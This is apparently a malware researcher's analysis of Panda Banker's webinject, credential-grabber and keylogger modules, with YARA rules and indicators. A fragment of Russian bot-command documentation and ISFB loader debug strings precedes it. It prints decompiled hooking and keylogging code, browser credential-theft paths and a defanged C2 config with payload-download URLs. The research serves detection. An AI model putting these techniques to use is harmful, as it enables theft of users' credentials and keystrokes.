URL_BLOCK=URL - заблокировать доступ ко всем URL удовлетворяющим заданной маске
URL_UNBLOCK=URL - разблокировать доступ к URL, удовлетворяющим заданной маске, ранее заблокированным командой URL_BLOCK
FORMS_ON - включить граббер HTTP форм (если есть дефайн _ALWAYS_HTTPS, то граббер HTTPs остаётся включен всегда)
FORMS_OFF - отключить граббер HTTP форм
KEYLOG_ON[= list] - включить кейлог, для заданного списка процессов
KEYLOG_OFF - отключить кейлог
LOAD_INI=URL - загрузить упакованный INI-файл с указанного URL, сохранить его в рееестре и использовать вместо INI-файла,
прикреплённого к софту с помощью билдера. INI-файл должен быть упакован и подписан.

LOAD_REG_DLL = name, URL[,URL] - загрузить DLL по указанному URL, сохранить её под заданным именем и зарегистрировать для
автоматической загрузки после каждого запуска системы
UNREG_DLL = name - удалить из автоматической загрузки DLL c заданным именем

D. ISFB client.dll “RM3” Function and Debug Statements

LdrStartLoaderProcess
[%s:%u] RM3 loader version %u.%u build %u on Windows %u.%u.%u %s
Ldr2LoadIni
[%s:%u] Attached LOADER.INI signature check failed, error %u
[%s:%u] No attached LOADER.INI found
Ldr2LoadFile
[%s:%u] File 0x%X of %u bytes is received over HTTP
[%s:%u] File 0x%X has an invalid signature
[%s:%u] Failed to receive file 0x%X, error %u
LdrIsElevated
[%s:%u] IsElevated = %u, IntegrityLevel = %u
Ldr2GetLoaderModule
[%s:%u] A startup module of %u bytes is received
[%s:%u] Invalid STARTUP module is supplied
[%s:%u] Failed to load a STARTUP module, error %u
Ldr2SaveModulesToRegistry
[%s:%u] Error 0x%X writing value "%S" of key "%S"
[%s:%u] Error 0x%X creating 0x%X hive subkey: "%S"
Ldr2SaveAllModules
[%s:%u] Error %u writing 64-bit modules to the key "%S"
[%s:%u] Error %u writing 32-bit modules to the key "%S"
[%s:%u] Error %u creating hive 0x%X key "%S"
Ldr2MakeRunRecord
[%s:%u] Not enough memory (%u)
Ldr2RegEnumCallback
[%s:%u] Error %u writing autorun value of "%S"
[%s:%u] Error %u writing startup script to the regstry value: "%S\%S"
[%s:%u] Error %u saving all module to key: "%S"
Ldr2MakeEncodedImage
[%s:%u] Invalid PE/PEX module BL.DLL
[%s:%u] BlExecuteDllImage() export is not found
[%s:%u] Invalid PE/PEX module size of BL.DLL
ReplaceSubStr
Ldr2SetupModules
[%s:%u] Integrity level: 0x%x, required elevation
[%s:%u] Elevation failed
[%s:%u] Loading a startup module
[%s:%u] Waiting for %u seconds
[%s:%u] Walking through the registry
[%s:%u] Walking through the registry failed, error %u
[%s:%u] Failed to make a startup script, error %u
[%s:%u] Restarting the loader executable from "%S"
[%s:%u] Successfully restarted
[%s:%u] Failed to restart the loader executable, error %u
Ldr2LoadModules
[%s:%u] An empty page received, exiting the loader
[%s:%u] Error %u(0x%X) downloading module 0x%X of %u
Ldr2DisableIeDialogs
[%s:%u] Error 0x%X writing key value: "%S\%S"
Ldr2LoaderMain
[%s:%u] Staying idle for %u seconds
[%s:%u] Main loop is active, loading modules
[%s:%u] Main loop is ended. %u modules are loaded, status: %u
[%s:%u] The shutdown event fired or an error occured, exiting
[%s:%u] Error %u creating the main loop timer

Let’s Learn: Dissecting Panda Banker & Modules: Webinject, Grabber & Keylogger DLL Modules

Goal: Reverse engineer the latest Panda Banker malware and detail the modules associated with the popular malware. The research aims to  fill researcher gaps with the detailed information related to Panda modules and their detection.

https://platform.twitter.com/widgets.js Source
Panda Loader packed (MD5: 97820f5167ede76dc466efdd239a5ba4)
Panda Core unpacked(MD5: 08124df7f51280af3c99360e0a80e9c8)
Panda LibInject x86 (32-bit) DLL Module “libinject.dll” (MD5: eb92c528455f5b14dd971e7126f6271f)
Panda Grabber x86 (32-bit) DLL Module “grabber.dll” (MD5:  b830680a74a9fb0e71a59df57ab36f3d)
Panda Keylogger x86 (32-bit) Module “keylogger32.dll” (MD5: 487e09c2da9e59fbc7f0690bf08a7a7e)
Panda Webinject x86 (32-bit) DLL Client (MD5: c310165d1a438031d7781eb623f64872)
Outline:

I. Background
II. Panda Webinject x86 (32-bit) DLL Client
III. Hooking Engine: "MinHook"-like Library
IV. Panda x86 (32-bit) "grabber.dll" Module
V. Panda x86 (32-bit) "keylogger32.dll" Module: RAWINPUT
VI. Yara Signature
A. Panda Grabber Module
B. Panda Keylogger Module
C. Panda Webinject Client
VII. Appendix
A. Dynamic Configuration
B. Panda Command-and-Control Server
C. Hooked APIs

Analysis:
I. Background
Panda Banker is an information-stealing malware that leverages various methods to steal data from compromised machines including webinjects to steal financial credentials and keylogger module for intecepting keys.
GDATA previously extensively covered the Panda Banker main functionality, including  but not not limited to its extensive anti-analysis techniques. I highly recommend reading this paper before learning more about Panda. 
Panda is a known Zeus banker derivative and shares significant code overlap with the original leaked Zeus 2.0.8.9. By and large, Panda banker remains to be one of the most popular banking malware available on the crimeware scene that is available for sale for $7,500 USD in its basic functionality.
Some of the advertised capabilities  are as follows:

Formgrabber for Internet Explorer (IE), Chrome, and Firefox
Grabber for screenshots, passwords, cookies, certifications,
credit cards
POP3/FTP
File Search
SOCKS support
Virtual Network Computing (VNC)
Injects

Previously, I extensively covered its injection technique as part of the Panda banker libinject.dll leveraging “AcInitialize” and “AdInjectDll” export functions. ZwWow64QueryInformationProcess64-ZwWow64ReadVirtualMemory64 are used for searching NTDLL in PEB, then for searching API addresses required for work of injecting DLL module (x32/x64) which is being located in AP “svchost” by using NtCreateSection-NtMapViewOfSection-NtUnmapViewOfSection ResumeThread-Sleep-SuspendThread are used for unmapping and injecting the payload into the main thread.

  • AcInitialize: size_t function type that initializes the structures necessary for the injection export function.
  • AdInjectDll: DWORD function type that performs the process injection with the argument with the desired process ID (PID) as an argument of the DWRD type.
II. Panda Webinject x86 (32-bit) Client
Panda banker stores both local and dynamic configuration in JavaScript format that used for command-and-control and subsequent communications. The local configuration is as follows of the exe type that is used in conjunction with the stored public key:

///////////////////////////////////////////////////
///////////// Basic Panda URL config //////////////
///////////////////////////////////////////////////
"generated_url":["47[.]com/rcfig.dat", "98[.]net/rcfig.dat","10[.]net/rcong.dat",
"98[.]net/vgt.dat"]

The dynamic configuration is parsed for the following values:

//////////////////////////////////////////////////////////////////////////
/////////////////////// Panda ParseDynamicConfig *shortened //////////////
//////////////////////////////////////////////////////////////////////////
void *__cdecl parse_dynamic_config(int a1)
{
const char *grab_value;

grab_value = 0;
switch ( a1 )
{
case 0:
grab_value = "created";
break;
case 1:
grab_value = "botnet";
break;
case 2:
grab_value = "check_config";
break;
case 3:
grab_value = "send_report";
break;
case 4:
grab_value = "check_update";
break;
case 5:
grab_value = "url_config";
break;
case 6:
grab_value = "url_webinjects";
break;
case 7:
grab_value = "url_update";
break;
case 8:
grab_value = "url_plugin_vnc32";
break;
case 9:
grab_value = "url_plugin_vnc64";
break;
case 10:
grab_value = "url_plugin_vnc_backserver";
break;
case 11:
grab_value = "url_plugin_grabber";
break;
case 12:
grab_value = "url_plugin_backsocks";
break;
case 13:
grab_value = "url_plugin_backsocks_backserver";
break;
case 14:

Additionally, the bot checks machine software and runs various WMI queries to populate the data about the infected machine such as:

Select * from AntiVirusProduct
Select * from AntiSpywareProduct
Select * from FirewallProduct

The bot also generates information object about the infected machine. The elongated version is as follows:

//////////////////////////////////////////////////
///////////// Elongated Panda BotInfo ////////////
//////////////////////////////////////////////////
"BotInfo": {
"systime": UNIX,
"process": "svchost.exe",
"user": "MACHINE",
"id": "BOT",
"botnet": "2.6.9",
"version": "2.6.10",
"os": {
"version": INT,
"sp": INT,
"build": INT,
"bit": INT,
"server": INT,
"lang": INT,
"explorer": INT
"File":
"name": "webinjects.dat",
"antivirus": DWORD,
"antispyware": DWORD.
"firewall": DWORD,
}
Panda injects its main bot after the successful infection to hook various browser API, TranslateMessage, and GetClipboardData. The main injected contains 354 functions.
The main injected bot INT-type function is as follows: 

//////////////////////////////////////////////////////////////////////////
///////////////////////// Panda MainInject Function //////////////////////
//////////////////////////////////////////////////////////////////////////
int Panda_main_inject()
{
int result;
HMODULE user32_1;
HMODULE user32;

result = Hook_Initialize();
if ( !result )
{
Addend = 0;
dword_1001047C = (int)sub_10006122;
user32_1 = GetModuleHandleW(L"user32.dll");
*(_DWORD *)TranslateMessage_0 = GetProcAddress(user32_1, "TranslateMessage");
dword_10010488 = (int)sub_10006077;
user32 = GetModuleHandleW(L"user32.dll");
*(_DWORD *)GetClipboardData = GetProcAddress(user32, "GetClipboardData");
hook_main_entrance((int)TranslateMessage_0, 2u);
hook_ie();
hook_firefox();
hook_wsa_chrome_check_opera();
result = EnableHook(0);
}
return result;
}

III. Hooking Engine: “MinHook”-like Library

Panda Banker utilizes a “MinHook”-like hooking engine to hook various API of interest. MinHook is a known minimalistic x86/x64 API hooking library for Windows that is leveraged by various banking malware (most notoriously, TinyNuke banker) to hook various browser API for information-stealing purposes.
For example, Panda uses this routine to enable hooks for Mozilla Firefox browser API calls PR_Close, PR_Read, PR_Write, and PR_Poll from nss3.dll.

The CreateHook function sequence is as follows:

The CreateHook function sequence -> “EnterSpinLock” (via InterlockedCompareExchange API call) -> checks if “IsExecutableAddress” (via VirtualQuery API call with Buffer.State and Buffer.Protect check for executable)  -> “FindHookEntry” (DWORD entry) -> “AllocateBuffer” (via VirtualAlloc API call) -> “CreateTrampolineFunction” ->  if not entry “AddHookEntry” -> “FreeBuffer” -> “LeaveSpinLock”.
By and large, the Panda hooking engine works by replacing the prologue of the targeted API call with the unconditional JMP to the detour function.
Panda enables its hooks as as follows leveraging VirtualProtect with the usual pJmp->opcode = 0xE9 (32-bit relative JMP).
The pseudo-coded C++ EnableHook function is as follows:

//////////////////////////////////////////////////////////////////////////
///////////////////////// Panda EnableHook Function //////////////////////
//////////////////////////////////////////////////////////////////////////
signed int __fastcall Panda_EnableHook(int a1, int patch_above)
{

hook_entry = patch_above;
v3 = lpMem + 44 * a1;
patchSize = 5;
v10 = patch_above;
dwSize = 5;
v5 = (*(_BYTE *)(v3 + 20) & 1) == 0;
pPatchTarget = *(_WORD **)v3;
v13 = *(_WORD **)v3;
if ( !v5 )
{
pPatchTarget = (_WORD *)((char *)pPatchTarget - 5);
patchSize = 7;
v13 = pPatchTarget;
dwSize = 7;
}
if ( VirtualProtect(pPatchTarget, patchSize, 0x40u, &flOldProtect) )
{
if ( hook_entry )
{ // enable hook
*(_BYTE *)pPatchTarget = 0xE9u; // jump relative opcode 0xe9
*(_DWORD *)((char *)pPatchTarget + 1) = *(_DWORD *)(v3 + 4) - (_DWORD)pPatchTarget - 5;
if ( *(_BYTE *)(v3 + 0x14) & 1 )
**(_WORD **)v3 = 0xF9EBu;
}
else if ( *(_BYTE *)(v3 + 0x14) & 1 )
{
*(_DWORD *)pPatchTarget = *(_DWORD *)(v3 + 0xC);
v8 = (int)(pPatchTarget + 2);
*(_WORD *)v8 = *(_WORD *)(v3 + 0x10);
*(_BYTE *)(v8 + 2) = *(_BYTE *)(v3 + 0x12);
pPatchTarget = v13;
}
else
{
*(_DWORD *)pPatchTarget = *(_DWORD *)(v3 + 12);
*((_BYTE *)pPatchTarget + 4) = *(_BYTE *)(v3 + 16);
}
VirtualProtect(pPatchTarget, dwSize, flOldProtect, &flOldProtect);
v9 = GetCurrentProcess();
FlushInstructionCache(v9, pPatchTarget, dwSize);
result = 0;
*(_BYTE *)(v3 + 20) = 4 * (v10 & 1) | (*(_BYTE *)(v3 + 20) & 0xFD | 2 * (v10 & 1)) & 0xFB;
}
else
{
result = 10;
}
return result;
}

IV. Panda x86 (32-bit) “grabber.dll” Module
Panda leverages and injects into svchost.exe the module called internally “grabber.dll.” This module contains 336 functions.

The module designed to steal stored information from various software applications as as well as delete it as necessary in order to force the victim to enter it again to be stolen by the malware.

Name Address Ordinal
DeleteCache 10003E10 1
DeleteCookies 10003E4A 2
DeleteFlash 10003E89 3
GrabCertificates 10004D7B 4
GrabCookies 10004DDB 5
GrabFlash 10005106 6
GrabForms 10005139 7
GrabPasswords 100053C9 8
GrabSoftList 100054CD 9
DllEntryPoint 1000118A [main entry]

The brief outline of all the functions is as follows:
A. “GrabSoftList” function (ordinal 9) as temporarily stored “softlist.txt”
The malware opens a registry key “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall” and enumerates keys “UninstallString” and “DisplayName” via RegEnumKeyExW API to obtain a list of installed software
B. “GrabCertificates” function (ordinal 4) 
Panda opens the so-called “certificate store” to query for certificates via the following API calls: 

  • CertOpenSystemStoreW
  • CertEnumCertificatesInStore
  • PFXExportCertStoreEx(…, &pPFX, L”password”, 0, 4)
  • GetSystemTime
  • CertCloseStore

The malware stores the cerificafres in the following format:
certs\\%s\\%s_%02u_%02u_%04u.pfx (pPFX.pbData, pPFX.cbData)
C. “GrabCookies” function (ordinal 5) as temporarily stored cookies.txt
Panda grabs cookies from the following browser grab calls:

  • InternetExplorerGetCookies (local search as “*.txt” in APPDATA\Low)
  • MicrosoftEdgeGetCookies (local search as Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe)
  • FirefoxGetCookies (local search as Mozilla\Firefox for “cookies.sqlite”)
  • ChromeGetCookies (local search as Google\Chrome for “cookies”)
  • OperaGetCookies (local search as Opera Software for “cookies”)

D. “GrabForms” function (ordinal 7) as temporarily “autoforms.txt”
The malware steals stored form data from browser application as follows:

  • Internet_Explorer -> registry “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\FormData”
  • Google Chrome ->  “Google\Chrome” for “web data”
  • Mozilla Firefox -> “Mozilla\Firefox” for “formhistory.sqlite”
  • Opera -> “Opera Software” for “web data”

E. GrabFlash” function (ordinal 6)
Panda grabs Flashplayer persistent cookie information in 
“APPDATA Macromedia\Flash Player” for “*.sol” and “flashplayer.cab.”
F. “GrabPasswords” function (ordinal 8) as temporarily  “passwords.txt”
The malware steals passwords from the following software:

InternetExplorer 
Mozilla Firefox (registry parser method)
Google Chrome (local file searcher)
Opera (local file searcher)
Microsoft Outlook (registry parser method)
Windows LiveMail(registry parser method)
Thunderbird (registry parser method)
FireFTP (registry parser method)
WinSCP (registry parser method)
TotalCommander (registry and local parser method)
FileZilla (registry parser method)
CuteFTP (registry and local parser method
)

For example, the malware steals Internet Explorer passwords via 
multiple methods:

  • Grabs passwords via “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2” for stored autocomplete Internet Explorer credentials.
  • Enumerates the credentials using the CredEnumerateW API while filtering with “Microsoft_WinInet_.” The credentials are then decrypted using CryptUnprotectData in conjunction with the GUID “abe2869f-9b47-4cd9-a358-c22904dba7f7” as the decryption salt.
  • Leverages Windows Vault API to enumerate and extract credentials stored by Microsoft Windows Vault. 

The stolen information is stored as follows:
“Soft: %s\tType: %s\tHost : %S\tUser : %S\tPass : %S\r\n”
G. “DeleteFlash,” “DeleteCookies,” and “DeleteCache” functions (ordinal 3, 2, 1 respectively)
Panda leverages these functions to remove and reset various cached and stored credentials and force the victim to enter them again with the goal to intercept them at the point of victim reentry of them.
V. Panda x86 (32-bit) “keylogger32.dll” Module: RAWINPUT Method
The malware also deploys a custom keylogger32.dll module to steal keyed data as well as to grab screenshots and intercept copied clipboard data leveraging “RAWINPUT” method.

The following exports as used as part of the module:
Name Address Ordinal
LoggerStart 1000209B 1
LoggerStop 1000216B 2
DllEntryPoint 10001105 [main entry]
The main function “LoggerStart” launched keylogger process via a separate thread. The thread sets up execution via CreateWindowExW with lpfnWndProc as a pointer to its function that processes window messages. The very similar keylogger method is described here.
By and large, the keylogger creates the the invisible message only window with the pseudorandom lpszClassName value generated as follows leveraging __rdtsc call (the processor time stamp, which represents the number of clock cycles since the last reset):

/////////////////////////////////////////
// Panda Keylogger Generate ClassName //
/////////////////////////////////////////
v1 = dword_1000522C;
v2 = 0;
do
{
if ( !v1 )
{
v3 = __rdtsc();
v1 = v3;
}
v1 = 214013 * v1 + 2531011;
lpcClassName[v2++] = ((v1 >> 16) & 32767ui64) % 25 + 97;
}

Ultimately, the keylogger passes only the bear minimum values to create an invisible “Message Only Window” as follows:

  • CreateWindowExW(0, v7.lpszClassName, 0, 0, 0, 0, 0, 0, HWND_MESSAGE, 0, v7.hInstance, 0)

Panda uses RegisterRawInputDevices function to register and record calls. The first parameter points to the array of RAWINPUTDEVICE structs.  the GetRawInputData first parameter is a handle to the RAWINPUT structure from the device, whose members are, due to usUsagePage=1 (generic desktop controls)and usUsage=6 (keyboard).
The pressed keys of intereest are processed with MapVirtualKey and translated to characters and saved to a file later.

//////////////////////////////////////// 
//////// Panda Keylogger KeyProcessor //
////////////////////////////////////////
GetWindowTextW_0((int)&v13, v2);
v13 = 0;
v4 = GetWindowThreadProcessId(v2, 0);
dwhkl = GetKeyboardLayout(v4);
v5 = GetCurrentThreadId();
AttachThreadInput(v4, v5, 1);
GetKeyboardState(&KeyState);
v6 = GetCurrentThreadId();
AttachThreadInput(v4, v6, 0);
switch ( uCode )
{
case 8u:
v10 = wsprintfW(&v14, L"[BACKSPACE]");
break;
case 9u:
v10 = wsprintfW(&v14, L"[TAB]");
break;
case 0xDu:
v10 = wsprintfW(&v14, L"[ENTER]");
break;
case 0x1Bu:
v10 = wsprintfW(&v14, L"[ESC]");
break;
case 0x20u:
v10 = wsprintfW(&v14, (LPCWSTR)" ");
break;
default:
v7 = dwhkl;
v8 = MapVirtualKeyExW(uCode, 0, dwhkl);
v9 = v8;
if ( uCode >= 33 && (uCode <= 40 || uCode > 44 && (uCode <= 46 || uCode == 111 || uCode == 144)) )
v9 = v8 | 0x100;
memset(&Dst, 0, 64u);
if ( ToUnicodeEx(uCode, v9, &KeyState, (LPWSTR)&Dst, 32, 0, v7) <= 0 )
{
if ( GetKeyNameTextW((unsigned __int16)v9 << 16, (LPWSTR)&Dst, 32) <= 0 )
return;
v10 = wsprintfW(&v14, L"[%s]", &Dst);
}
else
{
v10 = wsprintfW(&v14, L"%s", &Dst);
byte_10005198 = 0;
}
break;
}
if ( v10 )
Clipboard_wsprintf((int)&v13);
}
}

Additionally, the malware steals copied clipboard data via sequence of OpenClipboard, GetClipboardData, and  SetClipboardViewer  API calls receiving a WM_DRAWCLIPBOARD. The stolen data is stored in the following format with the timestamp:

  • L”\r\n[Clipboard || %s]\r\n”

It is also notable the keylogger malware also has capabilities to JPEG screenshots via the usual GDI library DLL.

VI. Yara Signature
A. Panda Grabber Module
import "pe"

rule crime_win32_panda_banker_grabber_dll {
meta:
description = "Detects Panda Banker grabber.dll module"
author = "@VK_Intel"
date = "2018-08-18"
hash1 = "7f85d26b4eb5f704544e2d1af97100f6e3a71b866d4ae2375cc3bbbac2a3f9c9"
strings:
$s1 = "Grabber: OutlookReadPassword - unsupported password type" fullword wide
$s2 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook" fullword wide
$s3 = "Grabber: OperaGetCookies - ok" fullword wide
$s4 = "Grabber: GrabTotalCommander - ok" fullword wide
$s5 = "grabber.dll" fullword ascii
$s6 = "Pstorec.dll" fullword wide
$s7 = "SMTP Password" fullword wide
$s8 = "Grabber: GrabPasswords - ok" fullword wide
$s9 = "Grabber: FirefoxGetCookies - ok" fullword wide
$s10 = "Grabber: IEGetCookies - ok" fullword wide
$s11 = "Grabber: ChromeGetCookies - ok" fullword wide
$s12 = "Grabber: EdgeGetCookies - ok" fullword wide
$s13 = "webdav.tappin.com" fullword ascii
$s14 = "passwords.txt" fullword wide
$s15 = "fireFTPsites.dat" fullword wide
$s16 = "certs\\%s\\%s_%02u_%02u_%04u.pfx" fullword wide
$s17 = "Grabber: FirefoxGetCookies - called" fullword wide
$s18 = "Grabber: GrabCuteFTP - ok" fullword wide
condition:
( uint16(0) == 0x5a4d and
filesize < 200KB and
pe.imphash() == "8031528b770e1d9f25f2e64511835e27" and pe.exports("DeleteCache") and pe.exports("DeleteCookies") and pe.exports("DeleteFlash") and pe.exports("GrabCertificates") and pe.exports("GrabCookies") and pe.exports("GrabFlash") and
( 8 of them )
) or ( all of them )
}

B. Panda Keylogger Module

import "pe"

rule crime_win32_panda_banker_keylogger_dll {
meta:
description = "Detects Panda Banker keylogger.dll module"
author = "@VK_Intel"
date = "2018-08-18"
hash1 = "99d116c1e3defb75ebde30e5fcca9a78e16889cde3025823a106ed741fad711c"
strings:
$x1 = "keylogger32.dll" fullword ascii
$s2 = "%s%4d-%02d-%02d_%02d-%02d-%02d-%04d.jpg" fullword ascii
$s3 = "LoggerStart" fullword ascii
$s4 = "LoggerStop" fullword ascii
$s5 = ":,:6:R:\\:" fullword ascii

condition:
( uint16(0) == 0x5a4d and
filesize < 40KB and
pe.imphash() == "8c964d45bdb5d28ad0f6d7e92b0efea0" and pe.exports("LoggerStart") and pe.exports("LoggerStop") and
( 1 of ($x*) or all of them )
) or ( all of them )
}

C. Panda Webinject Client

import "pe"

rule crime_win32_panda_banker_webinject_dll_client {
meta:
description = "Detects webinject Panda DLL client"
author = "@VK_Intel"
date = "2018-08-18"
hash1 = "6a7ec42e06446d8133e4e6838042a38f6198b54b3664fe6bb4df25537493c2f8"
strings:
$s1 = "opera_browser.dll" fullword wide
$s2 = "microsoftedgecp.exe" fullword wide
$s3 = "microsoftedge.exe" fullword wide
$s4 = "webinjects" fullword ascii
$s5 = "grabbed\\%S_%02u_%02u_%02u.txt" fullword wide
$s6 = "HTTP authentication: username=\"%s\", password=\"%s\"" fullword wide
$s7 = "url_plugin_keylogger" fullword ascii
$s8 = "url_plugin_webinject64" fullword ascii
$s9 = "url_plugin_webinject32" fullword ascii
$s10 = "testinject" fullword ascii
$s11 = "url_webinjects" fullword ascii
$s12 = "webinject%ddata" fullword ascii
$s13 = "screen_process" fullword ascii
$s14 = "notify_process" fullword ascii
$s15 = "keylog_process" fullword ascii
$s16 = "list_blockedinjects" fullword ascii
$s17 = "screenshots\\%s\\%04x_%08x.jpg" fullword wide
$s18 = "HTTP authentication (encoded): %S" fullword wide
$s19 = "inject_vnc" fullword ascii
$s20 = "X-Content-Security-Policy" fullword ascii
condition:
( uint16(0) == 0x5a4d and
filesize < 200KB and
pe.imphash() == "c06f3ba3522256a0075a0d89fb44cd42" and
( 8 of them )
) or ( all of them )
}

VII. Appendix

A. Dynamic Configuration
{
"botnet": "2.6.9",
"check_config": 327685,
"send_report": 327685,
"check_update": 327685,
"url_config": "hXXps://uiaoduiiej.chimkent[.]su/5fewucaopezanxenuzebu.dat",
"url_webinjects": "hXXps://uiaoduiiej.chimkent[.]su/webinjects.dat",
"url_update": "hXXps://uiaoduiiej.chimkent[.]su/5fewucaopezanxenuzebu.exe",
"url_plugin_webinject32": "hXXps://uiaoduiiej.chimkent[.]su/webinject32.bin",
"url_plugin_webinject64": "hXXps://uiaoduiiej.chimkent[.]su/webinject64.bin",
"remove_csp": 1,
"inject_vnc": 1,
"url_plugin_vnc32": "hXXps://uiaoduiiej.chimkent[.]su/vnc32.bin",
"url_plugin_vnc64": "hXXps://uiaoduiiej.chimkent[.]su/vnc64.bin",
"url_plugin_vnc_backserver": "nityYUQPeUwsKYfNAKh7c9O8lCQ=",
"url_plugin_backsocks": "hXXps://uiaoduiiej.chimkent[.]su/backsocks.bin",
"url_plugin_backsocks_backserver": "nityYUQPeUwsKYfNAKh7c9O8lCQ=",
"url_plugin_grabber": "hXXps://uiaoduiiej.chimkent[.]su/grabber.bin",
"grabber_pause": 1,
"grab_softlist": 1,
"grab_pass": 1,
"grab_form": 1,
"grab_cert": 1,
"grab_cookie": 1,
"grab_del_cookie": 0,
"grab_del_cache": 0,
"url_plugin_keylogger": "hXXps://uiaoduiiej.chimkent[.]su/keylogger.bin",
"keylog_process": "ZmlyZWZveC5leGUAY2hyb21lLmV4ZQBpZXhwbG9yZS5leGUAb3BlcmEuZXhlAAA=",
"screen_process": "cHV0dHkuZXhlAAA=",
"reserved": "JxZpa8bZHbYkIIvhyEd1cVZ/nS6URxD5wnvrDNiAjyi3xnWW8S8q9f/0ap+7kLHnW4XhNudnwRRizwE="
}

B. Panda Command-and-Control: 

urimchi3dt4[.]website

C. Hooked APIs

p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica}

Hooked API:
Internet Explorer (wininet.dll):
HttpSendRequestW
HttpSendRequestA
HttpSendRequestExW
HttpSendRequestExA
InternetReadFile
InternetReadFileExA
InternetReadFileExW
InternetQueryDataAvailable
InternetCloseHandle
HttpOpenRequestA
HttpOpenRequestW
HttpQueryInfoA
InternetConnectA
InternetConnectW
InternetWriteFile

Mozilla Firefox (nss3.dll):
PR_Close
PR_Read
PR_Write
PR_Poll

Google Chrome (chrome.dll):
SSL_read
SSL_write

Winsock 2 (ws2_32.dll):
closesocket
WSASend
WSARecv
recv

user32.dll:
TranslateMessage
GetClipboardData